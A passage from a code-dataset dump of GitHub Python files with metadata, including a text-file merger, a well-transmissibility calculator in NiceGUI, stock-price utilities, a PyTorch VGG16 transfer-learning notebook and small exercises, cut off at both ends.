ssl.CERT_REQUIRED\n\napp.run(ssl_context=ssl_context)\n","repo_name":"Nick1994209/ssl_usage","sub_path":"5_certificate_with_ca/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20611050906","text":"#!/usr/bin/env python\n\nimport argparse\nimport glob\nimport os\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n\n parser.add_argument('-i', '--dir_path',\n help='Root path to the text files', required=True)\n\n parser.add_argument('-o', '--out_path',\n help='Target text file path', required=True)\n\n parser.add_argument('-v', '--verbose', help='Display info about the progress', action='store_true')\n\n parser.add_argument('--exclude_names', nargs='+',\n help='Text files names to be excluded (i.e README.txt, LICENSE.txt, etc)', default=[])\n\n args = parser.parse_args()\n\n filenames = [filename for filename in glob.glob(f'{args.dir_path}/**/*.txt', recursive=True)\n if os.path.basename(filename) not in args.exclude_names]\n\n size = len(filenames)\n\n with open(args.out_path, 'w') as out:\n for index, filename in enumerate(filenames):\n n_lines = 0\n with open(filename, 'r') as file:\n for line in file.readlines():\n out.write(line)\n n_lines += 1\n out.write('\\n')\n\n if args.verbose:\n print(f'[{index + 1}/{size}] {filename}\\nLines read: {n_lines}')\n","repo_name":"darkhorrow/semantic-segmentation-tgc","sub_path":"utils/unify_textfiles.py","file_name":"unify_textfiles.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"2027188595","text":"# Faça um programa que leia largula\n# e a altura de uma parede em metros.\n# Calculea a sua área e a quantidade\n# de tinta necessária para pintá-la,\n# sabendo que cada litro de tinta pinta\n# uma área de 2m².\n\nalt = float(input('Altura: '))\nlar = float(input('Largura: '))\n\narea = alt * lar\ntinta = area / 2\n\nprint('A area da parede é de {}²m, '\n '\\n e você deverá usar {:.1f} litros de tinta.'\n .format(area, tinta))\n\n","repo_name":"Viniijk/Exercitando-Python-Jk","sub_path":"Mundo 1/Fase 7 - Operações Aritméticas/Desafio 011.py","file_name":"Desafio 011.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74790328871","text":"n = int(input())\nn_list = sorted(list(map(int, input().split())))\n\nm = int(input())\nm_list = list(map(int, input().split()))\n\nfor i in m_list:\n find = False\n target = i\n\n start = 0\n end = len(n_list)-1\n\n while start <= end:\n midi = int((start + end)/2)\n midv = n_list[midi]\n\n if midv > target:\n end = midi-1\n elif midv < target:\n start = midi+1\n else:\n find = True\n break\n if find :\n print(1)\n else :\n print(0)","repo_name":"EunGyeongKim/Coding_test","sub_path":"Do it! 알고리즘 코딩테스트/code/beakjon_수찾기_1920.py","file_name":"beakjon_수찾기_1920.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71082605353","text":"import os\nimport io\nimport json\nfrom Color import Color\n\nclass Colors(object):\n def __init__(self, *args, **kwargs):\n self.__colors = []\n self.loadSettings()\n \n def loadSettings(self):\n exist = os.path.isfile(\"colors.json\")\n if exist:\n with open(\"colors.json\") as c:\n colors = json.load(c)\n colorsLen = len(colors)\n if colorsLen > 0:\n for co in colors:\n color = Color()\n color.name = co[\"name\"]\n color.fromHex(co[\"value\"])\n self.__colors.append(color)\n print(\"Colors loaded from file\")\n \n def __get_colors(self):\n return self.__colors\n \n def __set_colors(self, value):\n self.__colors = value\n\n items = property(__get_colors, __set_colors)","repo_name":"cjlapao/LedStripController","sub_path":"Colors.py","file_name":"Colors.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36616354627","text":"#!/usr/bin/env python3\nfrom typing import Dict\n\nfrom nicegui import ui\nimport numpy as np\n\nui.label('Well Penetration Direction')\npenetration_direction = ui.radio(['i', 'j', 'k'], value='k').props('inline')\n\nx_permeability = ui.number(label='Permeability X', value=0.001, )\ny_permeability = ui.number(label='Permeability Y', value=0.001, )\nz_permeability = ui.number(label='Permeability Z', value=0.0001, )\n\nx_dimension = ui.number(label='X Dimension', value=100, )\ny_dimension = ui.number(label='Y Dimension', value=100, )\nz_dimension = ui.number(label='Z Dimension', value=10, )\n\nwellbore_radius = ui.number(label='Wellbore Radius', value=0.3125, )\nskin = ui.number(label='Skin', value=0, )\n\ncalculate_button = ui.button('Calculate!',\n on_click=lambda: update_table_and_calculate_transmissibility(penetration_direction.value,\n x_dimension.value,\n y_dimension.value,\n z_dimension.value,\n x_permeability.value,\n y_permeability.value,\n z_permeability.value,\n wellbore_radius.value,\n skin.value))\n\ngrid = ui.aggrid({\n 'columnDefs': [\n {'resizable':True, 'sortable':True, 'headerName': '#', 'field': 'index'},\n {'resizable':True, 'sortable':True, 'headerName': 'Penetration Direction', 'field': 'penetration_direction'},\n {'resizable':True, 'sortable':True, 'headerName': 'Perm X', 'field': 'permx'},\n {'resizable':True, 'sortable':True, 'headerName': 'Perm Y', 'field': 'permy'},\n {'resizable':True, 'sortable':True, 'headerName': 'Perm Z', 'field': 'permz'},\n {'resizable':True, 'sortable':True, 'headerName': 'X Dimension', 'field': 'dimx'},\n {'resizable':True, 'sortable':True, 'headerName': 'Y Dimension', 'field': 'dimy'},\n {'resizable':True, 'sortable':True, 'headerName': 'Z Dimension', 'field': 'dimz'},\n {'resizable':True, 'sortable':True, 'headerName': 'Wellbore Radius', 'field': 'wellbore_radius'},\n {'resizable':True, 'sortable':True, 'headerName': 'Skin', 'field': 'skin'},\n {'resizable':True, 'sortable':True, 'headerName': 'Transmissibility', 'field': 'transmissibility'}\n ],\n 'rowData': [\n ],\n 'rowSelection': 'multiple',\n}).classes('max-h-1000')\ngrid.options['sortable'] = True\n# grid.options['height'] = '100%'\n# grid.options['width'] = '50%'\nui.button(text='clear', on_click=lambda: clear())\n\n\n# ui.button(text='clear', on_click=lambda: grid.call_api_method('undoCellEditing'))\n\n\n# grid.call_api_method(\"setWidthAndHeight('60%')\")\ndef update_table(penetration_direction, x_dimension, y_dimension, z_dimension, x_permeability,\n y_permeability, z_permeability, wellbore_radius, skin, transmissibility):\n\n grid.options['rowData'].append({\n 'index':len(grid.options['rowData'])+1,\n 'penetration_direction': penetration_direction,\n 'permx': x_permeability,\n 'permy': y_permeability,\n 'permz': z_permeability,\n 'dimx': x_dimension,\n 'dimy': y_dimension,\n 'dimz': z_dimension,\n 'wellbore_radius': wellbore_radius,\n 'skin': skin,\n 'transmissibility': transmissibility\n })\n print(transmissibility)\n grid.update()\n\n\ndef clear():\n grid.options['rowData'] = []\n grid.update()\n\n\ndef calculate_transmissibility(penetration_direction, x_dimension, y_dimension, z_dimension, x_permeability,\n y_permeability, z_permeability, wellbore_radius, skin):\n conversion = 0.001127\n if penetration_direction == 'i':\n equivalent_radius = 0.28 * (z_dimension ** 2 * (y_permeability / z_permeability) ** 0.5 + y_dimension ** 2 * (\n z_permeability / y_permeability) ** 0.5) ** 0.5 / ((y_permeability / z_permeability) ** 0.25 + (\n z_permeability / y_permeability) ** 0.25)\n transmissibility = conversion * 2 * np.pi * x_permeability * x_dimension / (\n np.log(equivalent_radius / wellbore_radius) + skin)\n elif penetration_direction == 'j':\n equivalent_radius = 0.28 * (x_dimension ** 2 * (z_permeability / x_permeability) ** 0.5 + z_dimension ** 2 * (\n x_permeability / z_permeability) ** 0.5) ** 0.5 / ((z_permeability / x_permeability) ** 0.25 + (\n x_permeability / z_permeability) ** 0.25)\n transmissibility = conversion * 2 * np.pi * y_permeability * y_dimension / (\n np.log(equivalent_radius / wellbore_radius) + skin)\n elif penetration_direction == 'k':\n equivalent_radius = 0.28 * (x_dimension ** 2 * (y_permeability / x_permeability) ** 0.5 + y_dimension ** 2 * (\n x_permeability / y_permeability) ** 0.5) ** 0.5 / ((y_permeability / x_permeability) ** 0.25 + (\n x_permeability / y_permeability) ** 0.25)\n transmissibility = conversion * 2 * np.pi * z_permeability * z_dimension / (\n np.log(equivalent_radius / wellbore_radius) + skin)\n return transmissibility\n\n\ndef update_table_and_calculate_transmissibility(penetration_direction, x_dimension, y_dimension, z_dimension,\n x_permeability,\n y_permeability, z_permeability, wellbore_radius, skin):\n transmissibility = calculate_transmissibility(penetration_direction, x_dimension, y_dimension, z_dimension,\n x_permeability,\n y_permeability, z_permeability, wellbore_radius, skin)\n update_table(penetration_direction, x_dimension, y_dimension, z_dimension, x_permeability,\n y_permeability, z_permeability, wellbore_radius, skin, transmissibility)\n return transmissibility\n\n\n#\n# tab_names = ['A', 'B', 'C']\n#\n# # necessary until we improve native support for tabs (https://github.com/zauberzeug/nicegui/issues/251)\n#\n#\n# def switch_tab(msg: Dict) -> None:\n# name = msg['args']\n# tabs.props(f'model-value={name}')\n# panels.props(f'model-value={name}')\n#\n#\n# with ui.header().classes(replace='row items-center') as header:\n# ui.button(on_click=lambda: left_drawer.toggle()).props('flat color=white icon=menu')\n# with ui.element('q-tabs').on('update:model-value', switch_tab) as tabs:\n# for name in tab_names:\n# ui.element('q-tab').props(f'name={name} label={name}')\n#\n# with ui.footer(value=False) as footer:\n# ui.label('Footer')\n#\n# with ui.left_drawer().classes('bg-blue-100') as left_drawer:\n# ui.label('Side menu')\n#\n# with ui.page_sticky(position='bottom-right', x_offset=20, y_offset=20):\n# ui.button(on_click=footer.toggle).props('fab icon=contact_support')\n#\n#\n# # the page content consists of multiple tab panels\n# with ui.element('q-tab-panels').props('model-value=A animated').classes('w-full') as panels:\n# for name in tab_names:\n# with ui.element('q-tab-panel').props(f'name={name}').classes('w-full'):\n# ui.label(f'Content of {name}')\n#\n# grid = ui.aggrid({\n# 'columnDefs': [\n# {'headerName': 'Name', 'field': 'name'},\n# {'headerName': 'Age', 'field': 'age'},\n# ],\n# 'rowData': [\n# {'name': 'Alice', 'age': 18},\n# {'name': 'Bob', 'age': 21},\n# {'name': 'Carol', 'age': 42},\n# ],\n# 'rowSelection': 'multiple',\n# }).classes('max-h-40')\n#\n#\n# def update():\n# grid.options['rowData'][0]['age'] += 1\n# grid.update()\n#\n#\n# ui.button('Update', on_click=update)\n# ui.button('Select all', on_click=lambda: grid.call_api_method('selectAll'))\n#\n\n\nui.run(host='127.0.0.1', port=8081)\n","repo_name":"brandonctang/transmissibility_calculator","sub_path":"nicegui_testing.py","file_name":"nicegui_testing.py","file_ext":"py","file_size_in_byte":8456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"40424872769","text":"# -*- coding:utf-8 -*-\n\"\"\"\nThis file is for integrating into darwin ide which powered by vscode\n\"\"\"\nimport pickle\nimport sys\nimport keras\nimport ann_normalize\nimport ann_fix_point\n\nif __name__ == \"__main__\":\n with open(\"stage1_tmp.pkl\",\"rb\") as f:\n dataX,dataY = pickle.load(f)\n \n model_path = sys.argv[1]\n print(\"Loading ANN model\")\n model = keras.models.load_model(model_path)\n print(\"Loading done!\")\n print(\"Test original ANN model....\")\n accu = ann_normalize.test_ann(model,dataX[-200:],dataY[-200:])\n print(\"Original ANN model accuracy={:.2%}\".format(accu))\n print(\"Start parameter change...\")\n model_norm = ann_normalize.param_normalization(model,dataX[:10000])\n ann_normalize.save_normed_model(model_norm, ann_normalize.TYPE_FCN)\n fix_point_model = ann_fix_point.fix_point(model_norm,16,dataX[:10000])\n ann_fix_point.save_model(fix_point_model,ann_normalize.TYPE_FCN)\n print(\"Model Parameter change finish!\")\n print(\"Start Test model after change...\")\n accu = ann_fix_point.test_model(fix_point_model,dataX[-200:], dataY[-200:])\n print(\"After model accuracy is {:.2%}\".format(accu))\n print(\"Test done!\")\n\n ","repo_name":"lichang98/nn_convertor","sub_path":"stage2.py","file_name":"stage2.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32592840836","text":"# coding=utf-8\nfrom __future__ import unicode_literals\nfrom sakku import Application, SakkuException, HttpException, DeployType, ScalingMode\nfrom examples.config import *\n\ntry:\n app = Application(api_key=API_KEY)\n config = {\n \"name\": \"PythonTest3\",\n \"mem\": 0.1,\n \"cpu\": 0.1,\n \"disk\": 0.1,\n \"ports\": [\n {\n \"port\": 80,\n \"protocol\": \"HTTP\",\n \"ssl\": False,\n \"onlyInternal\": False,\n \"basicAuthentication\": False,\n \"forceRedirectHttps\": False\n }\n ],\n \"cmd\": None,\n \"entrypoint\": None,\n \"scalingMode\": ScalingMode.OFF,\n \"args\": [],\n \"modules\": [\n {\n \"code\": 50,\n \"appId\": 0,\n \"metadata\": {\n \"appPath\": \"/usr/share/nginx/html\",\n \"ftp\": False\n }\n }\n ],\n \"environments\": {},\n \"labels\": {},\n \"netAlias\": None,\n \"basicAuthentications\": None,\n \"portOptions\": None,\n \"image\": {\n \"name\": \"nginx:latest\",\n \"registry\": \"dockerhub\",\n \"accessToken\": \"\",\n \"username\": \"\"\n },\n \"deployType\": DeployType.DOCKER_IMAGE,\n \"minInstance\": 1,\n \"maxInstance\": 1,\n \"network\": None,\n \"dependsOn\": None\n }\n\n response = app.create_app(config=config)\n print(response)\n # OUTPUT\n # {\n # \"id\": \"2688\",\n # \"ownerId\": 197,\n # \"name\": \"pythontest\",\n # \"uid\": None,\n # \"image\": \"nginx:latest\",\n # \"instances\": None,\n # \"desc\": None,\n # \"created\": \"2020-03-15T13:34:40.218+0000\",\n # \"access\": None,\n # \"configuration\": {\n # \"cmd\": None,\n # \"args\": [],\n # \"minInstances\": 1,\n # \"maxInstances\": 1,\n # \"cpu\": 0.1,\n # \"mem\": 0.1,\n # \"disk\": 0.1,\n # \"gpus\": 0,\n # \"scalingMode\": \"OFF\",\n # \"netAlias\": \"PythonTest\"\n # },\n # \"status\": \"STAGED\",\n # \"deployType\": \"DOCKER_IMAGE\",\n # \"ports\": [\n # {\n # \"type\": \"http\",\n # \"container\": 80,\n # \"lbPort\": 0,\n # \"ssl\": False,\n # \"onlyInternal\": False,\n # \"endpoint\": \"wSk.default-group.e.zare.http.sakku.link\",\n # \"basicAuthentication\": False,\n # \"forceRedirectHttps\": False\n # }\n # ],\n # \"collaborative\": False,\n # \"environments\": {},\n # \"userModule\": None,\n # \"dependency\": None,\n # \"groupName\": \"\",\n # \"basicAuthentications\": []\n # }\n\n # print(app.last_response().original_result()) # get raw result\n # print(app.last_response()) # get response handler\n\nexcept HttpException as e:\n print(\"Http Exception\\nMessage : {}\\nStatus Code : {}\\n\".format(e.message, e.status_code))\n # print(e.response_handler)\nexcept SakkuException as e:\n print(\"Sakku Exception\\nMessage : {}\".format(e.message))\n","repo_name":"FanapSoft/sakku-python-sdk","sub_path":"examples/application/02_create_app.py","file_name":"02_create_app.py","file_ext":"py","file_size_in_byte":3033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42376863012","text":"import pandas as pd\nimport numpy as np\nimport os.path\nimport logging\nimport datetime\nimport Utilities.general_tools\nimport Utilities.holidays\nimport Utilities.markets\nimport Utilities.config\n\n# directory where daily price files are historized in .zip format\n__EXTRADAY_PRICES_DIRECTORY = os.path.join(Utilities.config.directories['extradayPricesPath'], 'zip')\nUtilities.general_tools.mkdir_and_log(__EXTRADAY_PRICES_DIRECTORY)\n\n\ndef get_standardized_extraday_equity_dtindex(country, start_date, end_date):\n \"\"\"returns the index of business days in the country's equity markets - useful when re-indexing\"\"\"\n try:\n assert(isinstance(country, str) and isinstance(start_date, datetime.date)\n and isinstance(end_date, datetime.date))\n reg_idx = pd.bdate_range(start_date, end_date)\n holidays_idx = Utilities.holidays.HOLIDAYS_BY_COUNTRY_CONFIG.get(country, {})\n reg_idx = reg_idx.difference(holidays_idx)\n reg_idx.name = 'Date'\n assert(isinstance(reg_idx, pd.DatetimeIndex))\n return reg_idx\n except Exception as err:\n logging.warning(type(err))\n return pd.DatetimeIndex(None)\n\n\ndef get_standardized_extraday_fx_dtindex(start_date, end_date):\n \"\"\"returns the index of business days for FX - i.e without any holidays - useful when re-indexing\"\"\"\n try:\n assert(isinstance(start_date, datetime.date) and isinstance(end_date, datetime.date))\n reg_idx = pd.bdate_range(start_date, end_date)\n reg_idx.name = 'Date'\n assert(isinstance(reg_idx, pd.DatetimeIndex))\n return reg_idx\n except Exception as err:\n logging.warning(type(err))\n return pd.DatetimeIndex(None)\n\nREINDEXES_CACHE = {}\n\n\ndef _get_extraday_csv_zip_path(date):\n \"\"\"where extraday prices files are stored\"\"\"\n return os.path.join(__EXTRADAY_PRICES_DIRECTORY, date.isoformat()+'.csv.zip')\n\n\ndef _get_extraday_prices(date, asset_codes=None):\n \"\"\"reads extraday prices for one day into a pandas df with date and symbol as index.\n This prepares for reading multiple dates while maintaining a unique index\"\"\"\n zip_file = _get_extraday_csv_zip_path(date)\n logging.info('Reading extraday prices for %s at %s' % (date.isoformat(), zip_file))\n try:\n assert(isinstance(date, datetime.date))\n content = Utilities.general_tools.read_and_log_pandas_df(zip_file)\n content['Date'] = date\n content[['Open', 'Close', 'AdjClose', 'Volume']] = content[['Open', 'Close', 'AdjClose', 'Volume']]\\\n .astype(float)\n if asset_codes is not None:\n content = content.loc[content['COMPOSITE_ID_BB_GLOBAL'].isin(asset_codes)]\n\n logging.info('Reading successful')\n assert(isinstance(content, pd.DataFrame) and\n tuple(sorted(content.columns)) == tuple(\n sorted(['Open', 'Close', 'AdjClose', 'Volume', 'Date', 'COMPOSITE_ID_BB_GLOBAL'])))\n return content\n except Exception as err:\n logging.warning(type(err))\n return pd.DataFrame(None)\n\n\ndef get_extraday_prices(start_date, end_date, asset_codes=None):\n \"\"\"reads extraday prices from start_date to end_date into a multi indexed pandas df\n multiindex is date + symbol\n columns are open, close, adj close, volume\"\"\"\n try:\n assert(isinstance(start_date, datetime.date) and isinstance(end_date, datetime.date))\n content = pd.concat(map(\n lambda d: _get_extraday_prices(d.date(), asset_codes), pd.date_range(\n start_date, end_date, freq='D')), ignore_index=True)\n assert(isinstance(content, pd.DataFrame) and\n tuple(sorted(content.columns)) == tuple(\n sorted(['Open', 'Close', 'AdjClose', 'Volume', 'Date', 'COMPOSITE_ID_BB_GLOBAL'])))\n return content\n except Exception as err:\n logging.warning('get_extraday_prices failed with error: %s' % err)\n return pd.DataFrame(None)\n\n\ndef write_extraday_prices_table_for_single_day(new_content, date, resolve_method='R'):\n \"\"\"adds a pandas df of extraday prices (schema = symbol as index, open close close adj volume as columns)\n to existing extraday prices on disk\"\"\"\n try:\n assert(isinstance(new_content, pd.DataFrame) and isinstance(date, datetime.date)\n and isinstance(resolve_method, str))\n logging.info('Retrieving existing prices')\n old_content = _get_extraday_prices(date)\n\n merged_content_resolved = pd.DataFrame(None)\n\n if not old_content.empty:\n old_content = old_content[list(map(lambda t: t[0] > 0 or t[1] > 0, zip(\n old_content['Volume'], old_content['Close'])))]\n old_content.loc[:, 'Age'] = 'Old'\n\n if not new_content.empty:\n new_content = new_content[list(map(lambda t: t[0] > 0 or t[1] > 0, zip(\n new_content['Volume'], new_content['Close'])))]\n new_content.loc[:, 'Age'] = 'New'\n new_content['Date'] = date\n\n if resolve_method == 'R':\n old_content = old_content.loc[np.logical_not(old_content['COMPOSITE_ID_BB_GLOBAL'].isin(\n new_content['COMPOSITE_ID_BB_GLOBAL']))] if not old_content.empty else pd.DataFrame(None)\n merged_content_resolved = pd.concat([old_content, new_content], ignore_index=True)\n\n merged_content_resolved = merged_content_resolved[['COMPOSITE_ID_BB_GLOBAL', 'Open', 'Close', 'AdjClose', 'Volume']]\n Utilities.general_tools.store_and_log_pandas_df(_get_extraday_csv_zip_path(date), merged_content_resolved)\n except AssertionError:\n logging.warning('Calling write_extraday_prices_table_for_single_day with wrong argument types')\n except Exception as err:\n logging.warning('Something went wrong during rewrite of date: %s, with message: %s'\n % (date.isoformat(), err))\n\n\ndef get_extraday_prices_as_events(date, asset_codes):\n \"\"\"returns a pandas dataframe with extraday price updates at the times of open/close: bbg id and time as multiindex,\n eventtype, price, volume, adjratio as columns\"\"\"\n try:\n assert(isinstance(asset_codes, pd.DataFrame) and asset_codes.index.name == 'ID_BB_GLOBAL'\n and tuple(asset_codes.columns) == ('COUNTRY'))\n content = _get_extraday_prices(date, asset_codes.index)\n if content.empty:\n return pd.DataFrame(None)\n\n def get_open_close_time(row):\n try:\n local_market_time_zone = Utilities.markets.EQUITY_MARKETS_BY_COUNTRY_CONFIG[row['COUNTRY']]['TimeZone']\n open_time = local_market_time_zone.localize(datetime.datetime(date.year, date.month, date.day)) + \\\n Utilities.markets.EQUITY_MARKETS_BY_COUNTRY_CONFIG[row['COUNTRY']]['MarketOpen']\n close_time = local_market_time_zone.localize(datetime.datetime(date.year, date.month, date.day)) + \\\n Utilities.markets.EQUITY_MARKETS_BY_COUNTRY_CONFIG[row['COUNTRY']]['MarketClose']\n except:\n (open_time, close_time) = (None, None)\n return open_time, close_time\n\n asset_codes[['OpenTime', 'CloseTime']] = asset_codes.apply(get_open_close_time, axis=0)\n asset_codes = asset_codes[asset_codes['OpenTime'] is not None and asset_codes['CloseTime'] is not None]\n content = pd.concat([asset_codes, content], axis=0, join='inner')\n content['AdjRatio'] = content.apply(lambda r: r['AdjClose']/r['Close'] if r['AdjClose']*r['Close'] > 0 else 0,\n axis=0)\n\n def create_event_df(row):\n rows = [('OPEN', row['Open'], 0.0, row['AdjRatio']),\n ('CLOSE', row['Close'], row['Volume'], row['AdjRatio'])]\n indexes = [(row.index.value, row['OpenTime']),\n (row.index.value, row['CloseTime'])]\n df = pd.DataFrame(rows, index=indexes, columns=['EventType', 'Price', 'Volume', 'AdjRatio'])\n df.index.names = ['ID_BB_GLOBAL', 'Time']\n return df\n\n events_df = pd.concat(content.apply(create_event_df, axis=0), axis=1)\n assert (isinstance(events_df, pd.DataFrame) and tuple(events_df.index.names) == ('ID_BB_GLOBAL', 'Time') and\n tuple(events_df.columns) == ('EventType', 'Price', 'DayVolume', 'AdjRatio'))\n return events_df\n except Exception as err:\n logging.warning('Something went wrong during get_extraday_prices_as_events: %s, with message: %s'\n % (date.isoformat(), err))\n return pd.DataFrame(None)\n","repo_name":"maupardh/Bachelier","sub_path":"HistoricalExtradayPrices/common_extraday_tools.py","file_name":"common_extraday_tools.py","file_ext":"py","file_size_in_byte":8595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"44288592310","text":"\n# coding: utf-8\n\n# In[1]:\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\nimport torchvision\nfrom torchvision import datasets, models, transforms\nfrom torch.utils.data import DataLoader\nfrom torch.autograd import Variable\n\nget_ipython().magic(u'matplotlib inline')\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport time\n\nget_ipython().magic(u'load_ext autoreload')\nget_ipython().magic(u'autoreload 2')\n\nfrom caltech256_will import Caltech256\nprint(torch.cuda.is_available())\n\n\n# In[2]:\n\ndata_transforms = {\n 'train': transforms.Compose([\n transforms.RandomSizedCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n ]),\n 'test': transforms.Compose([\n transforms.Scale(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n ]),\n}\n\n\n# In[3]:\n\n# data_dir = 'data/256_ObjectCategories'\ndata_dir = '/datasets/Caltech256/256_ObjectCategories'\ncaltech256_train = Caltech256(data_dir, data_transforms['train'], train=True)\ncaltech256_test = Caltech256(data_dir, data_transforms['test'], train=False)\n\n\n# In[16]:\n\n# test data loader\ndataloader = DataLoader(caltech256_train, batch_size=4)\ndataiter = iter(dataloader)\nimage, label = dataiter.next()\nprint(image.size())\nprint(label.size())\nprint(label[0])\n\n\n# In[22]:\n\ndef train_model(model, dataset, criterion, optimizer, scheduler, num_epochs, batch_size):\n start_time = time.time()\n model.train(True)\n dataset_size = dataset.__len__()\n \n dataloader = DataLoader(dataset, batch_size=batch_size, shuffle=True)\n \n for epoch in range(num_epochs):\n scheduler.step()\n running_loss = 0.\n running_corrects = 0.\n batch_cnt = 0\n \n for data in dataloader:\n inputs, labels = data\n \n \"\"\"TODO: DELETE THIS\"\"\"\n for lb in labels:\n if lb == 256:\n print(\"WARNING:\",labels)\n \n inputs, labels = Variable(inputs.cuda()), Variable(labels.cuda())\n \n optimizer.zero_grad()\n outputs = model(inputs)\n \n _, preds = torch.max(outputs.data, 1)\n loss = criterion(outputs, labels)\n \n loss.backward()\n optimizer.step()\n running_loss += loss\n running_corrects += torch.sum(preds == labels.data)\n \n batch_cnt += 1\n if batch_cnt % 150 == 0:\n print('Training completed [{}, {}]'.format(epoch, batch_cnt))\n \n \n epoch_loss = running_loss / float(dataset_size)\n epoch_acc = running_corrects / float(dataset_size)\n print('{} epoch loss: {} accuracy {}'.format(epoch, epoch_loss, epoch_acc))\n \n model.train(False)\n time_elapsed = time.time() - start_time\n print('Training comple in %dm, %ds' % (time_elapsed//60, time_elapsed%60))\n return model\n\n\n# In[6]:\n\nvgg16 = models.vgg16_bn(pretrained=True)\n# print(vgg16)\n\n\n# In[9]:\n\n# freeze all layers\nfor param in vgg16.parameters():\n param.requires_grad = False\n\n# modify last softmax layer output number\nvgg16.classifier[6].out_features = 256\n\n# set last layer's weights trainable\nfor param in vgg16.classifier[6].parameters():\n param.requires_grad = True\n\n# check weights' training status\n# for i in range(44):\n# print(\"vgg16 -> features [{}]\".format(i))\n# for param in vgg16.features[i].parameters():\n# print(param.requires_grad)\n# for i in range(7):\n# print(\"vgg16 -> classifier [{}]\".format(i))\n# for param in vgg16.classifier[i].parameters():\n# print(param.requires_grad)\n\n\n# In[10]:\n\nprint(vgg16)\n\n\n# In[20]:\n\ncriterion = nn.CrossEntropyLoss()\noptimizer = optim.Adam(vgg16.classifier[6].parameters())\n# scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=30)\nscheduler = lr_scheduler.StepLR(optimizer, step_size=30)\n\n# vgg16 = nn.DataParallel(vgg16)\nvgg16 = vgg16.cuda()\n\n\n# In[ ]:\n\n\"\"\"TODO: CHANGE THIS!\"\"\"\ntrain_data = caltech256_train\n\nmodel_tf = train_model(vgg16, train_data, criterion, optimizer, scheduler, num_epochs=5, batch_size=16)\n\n\n# In[ ]:\n\ntest_dataloader = DataLoader(caltech256_test, batch_size=16)\ncorrect_cnt = 0\ncnt = 0\nfor data in test_dataloader:\n inputs, labels = data\n inputs, labels = Variable(inputs.cuda()), Variable(labels.cuda())\n outputs = vgg16(inputs)\n _, preds = torch.max(outputs, 1)\n correct_cnt += torch.sum(preds.data == labels.data)\n \nacc = correct_cnt / caltech256_test.__len__()\nprint('Test Set Accuracy: %f' % (acc*100))\n\n\n# In[ ]:\n\n\n\n","repo_name":"Fnjn/UCSD-CSE-253","sub_path":"hw3/submit_code/transfer_learning.py","file_name":"transfer_learning.py","file_ext":"py","file_size_in_byte":4825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27652811766","text":"import time\nfrom playsound import playsound\nstart_time = time.time()\nelapsed_time = time.time() - start_time\nfrom pynput.keyboard import Key, Listener\nimport keyboard\n\n\ntime_signature = 4\nn = 1\ntempo_set = 150\ntempo_global = 60 / tempo_set\n\n\n\n \ndef one_bar(timeSig, tempo):\n time_signature = timeSig\n n = 1\n met_on = True\n print(met_on)\n while n <= time_signature:\n print(n)\n if n == 1:\n print(\"downbeat\")\n else:\n print(\"upbeat\")\n time.sleep(tempo)\n n += 1\n if n == time_signature + 1:\n n = 1\n \none_bar(time_signature, tempo_global)\n\n# Collect events until released\n\n\n\n \n \n","repo_name":"Johnnykaster/Light-Metrinome","sub_path":"Metrinome.py","file_name":"Metrinome.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30686808965","text":"#지능형 기차\nimport sys\nmax_num = -sys.maxsize\ntotal = 0\nfor _ in range(4):\n minus, plus = map(int, sys.stdin.readline().rstrip().split())\n\n total = total - minus + plus\n\n if max_num < total:\n max_num = total\nprint(max_num)","repo_name":"jisuuuu/Algorithm_Study","sub_path":"Baekjoon/Baekjoon_python/boj_2455.py","file_name":"boj_2455.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27835758758","text":"#Created by: Mitchell Petellin\n\nclass Node:\n def __init__(self,data,node_Id,name):\n self.data = data\n self.children = []\n self.name = name\n self.node_Id = node_Id\n\n def add_child(self,obj):\n self.children.append(obj)\n\n def findObjectByName(self, name):\n if self.name == name:\n print(\"Found! --- \",self.data)\n return self\n else:\n for child in self.children:\n match = child.findObjectByName(name)\n if match:\n return match\n \n def showTree(self):\n print()\n print(self.data)\n for child in self.children:\n nextpass = child.showTree()\n if nextpass:\n return nextpass\n\ndef addition():\n name = input(\"enter name: \")\n email = input(\"enter email: \")\n phone = input(\"enter number: \")\n personalID = input(\"enter id: \")\n contents = [name,email,phone,personalID]\n return contents\n\ndef tree():\n contents = addition()\n root = Node([contents],0,contents[0])\n stop = None\n starting_number = 1\n while stop != \"stop\":\n stop = input(str(\"enter 'stop' to stop: \"))\n if stop == \"stop\":\n break\n items = addition()\n contact = Node([items],starting_number,items[0])\n root.add_child(contact)\n starting_number += 1\n searching = False\n while searching != True:\n 